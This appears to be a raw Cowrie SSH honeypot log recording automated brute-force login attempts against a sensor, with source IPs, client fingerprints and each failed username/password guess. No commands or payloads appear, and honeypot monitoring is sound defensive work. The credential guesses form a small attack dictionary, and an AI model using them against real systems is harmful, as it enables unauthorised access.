{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":56006,"dst_ip":"10.17.0.5","dst_port":22,"session":"eae61f792b4a","protocol":"ssh","message":"New connection: 213.230.127.104:56006 (10.17.0.5:22) [session: eae61f792b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:19.011250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:19.017329Z","src_ip":"213.230.127.104","session":"eae61f792b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:19.192749Z","src_ip":"213.230.127.104","session":"eae61f792b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marc","password":"1234","message":"login attempt [marc/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:19.931832Z","src_ip":"213.230.127.104","session":"eae61f792b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:21.111371Z","src_ip":"213.230.127.104","session":"eae61f792b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":42506,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ac66042b4c","protocol":"ssh","message":"New connection: 186.233.118.22:42506 (159.203.135.109:22) [session: 76ac66042b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:24.820739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:24.826932Z","src_ip":"186.233.118.22","session":"76ac66042b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:24.946000Z","src_ip":"186.233.118.22","session":"76ac66042b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:25.454211Z","src_ip":"186.233.118.22","session":"76ac66042b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:26.576113Z","src_ip":"186.233.118.22","session":"76ac66042b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":48064,"dst_ip":"10.17.0.5","dst_port":22,"session":"acaa7fa613d7","protocol":"ssh","message":"New connection: 45.165.238.2:48064 (10.17.0.5:22) [session: acaa7fa613d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:46.420842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:46.426127Z","src_ip":"45.165.238.2","session":"acaa7fa613d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:46.560423Z","src_ip":"45.165.238.2","session":"acaa7fa613d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf1234.","message":"login attempt [root/Asdf1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:47.108127Z","src_ip":"45.165.238.2","session":"acaa7fa613d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:48.243925Z","src_ip":"45.165.238.2","session":"acaa7fa613d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":47450,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a46b21329fb","protocol":"ssh","message":"New connection: 2.57.121.112:47450 (159.203.135.109:22) [session: 3a46b21329fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:54.891803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:54.898548Z","src_ip":"2.57.121.112","session":"3a46b21329fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:55.001298Z","src_ip":"2.57.121.112","session":"3a46b21329fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04071970","message":"login attempt [admin/04071970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:55.482166Z","src_ip":"2.57.121.112","session":"3a46b21329fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040690","message":"login attempt [admin/040690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:56.586204Z","src_ip":"2.57.121.112","session":"3a46b21329fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04061970","message":"login attempt [admin/04061970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:57.689942Z","src_ip":"2.57.121.112","session":"3a46b21329fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04051970","message":"login attempt [admin/04051970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:58.793440Z","src_ip":"2.57.121.112","session":"3a46b21329fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0405","message":"login attempt [admin/0405] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:24:59.896207Z","src_ip":"2.57.121.112","session":"3a46b21329fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:01.003077Z","src_ip":"2.57.121.112","session":"3a46b21329fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":12779,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ac3c381276","protocol":"ssh","message":"New connection: 222.107.156.227:12779 (10.17.0.5:22) [session: 43ac3c381276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:16.615339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:16.621739Z","src_ip":"222.107.156.227","session":"43ac3c381276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:16.824485Z","src_ip":"222.107.156.227","session":"43ac3c381276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grace","password":"grace","message":"login attempt [grace/grace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:17.665136Z","src_ip":"222.107.156.227","session":"43ac3c381276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:18.874620Z","src_ip":"222.107.156.227","session":"43ac3c381276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":43628,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf7866d0bf18","protocol":"ssh","message":"New connection: 186.246.14.196:43628 (159.203.135.109:22) [session: bf7866d0bf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:26.265262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:26.271674Z","src_ip":"186.246.14.196","session":"bf7866d0bf18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:26.442673Z","src_ip":"186.246.14.196","session":"bf7866d0bf18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"admin123","message":"login attempt [ftpuser/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:27.123882Z","src_ip":"186.246.14.196","session":"bf7866d0bf18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:28.291115Z","src_ip":"186.246.14.196","session":"bf7866d0bf18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":50180,"dst_ip":"10.17.0.5","dst_port":22,"session":"973f23514ff4","protocol":"ssh","message":"New connection: 171.244.141.86:50180 (10.17.0.5:22) [session: 973f23514ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:35.162833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:35.167041Z","src_ip":"171.244.141.86","session":"973f23514ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:35.458529Z","src_ip":"171.244.141.86","session":"973f23514ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password01","message":"login attempt [ubuntu/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:36.447846Z","src_ip":"171.244.141.86","session":"973f23514ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:37.692859Z","src_ip":"171.244.141.86","session":"973f23514ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":41804,"dst_ip":"10.17.0.5","dst_port":22,"session":"839e8547996c","protocol":"ssh","message":"New connection: 89.190.156.8:41804 (10.17.0.5:22) [session: 839e8547996c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:42.375023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:42.379856Z","src_ip":"89.190.156.8","session":"839e8547996c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:42.460336Z","src_ip":"89.190.156.8","session":"839e8547996c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applmgr","password":"applmgr","message":"login attempt [applmgr/applmgr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:42.815330Z","src_ip":"89.190.156.8","session":"839e8547996c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:43.898561Z","src_ip":"89.190.156.8","session":"839e8547996c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":32892,"dst_ip":"10.17.0.5","dst_port":22,"session":"65172c14e17e","protocol":"ssh","message":"New connection: 213.230.127.104:32892 (10.17.0.5:22) [session: 65172c14e17e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:55.482963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:55.488436Z","src_ip":"213.230.127.104","session":"65172c14e17e","protocol":"ssh"}
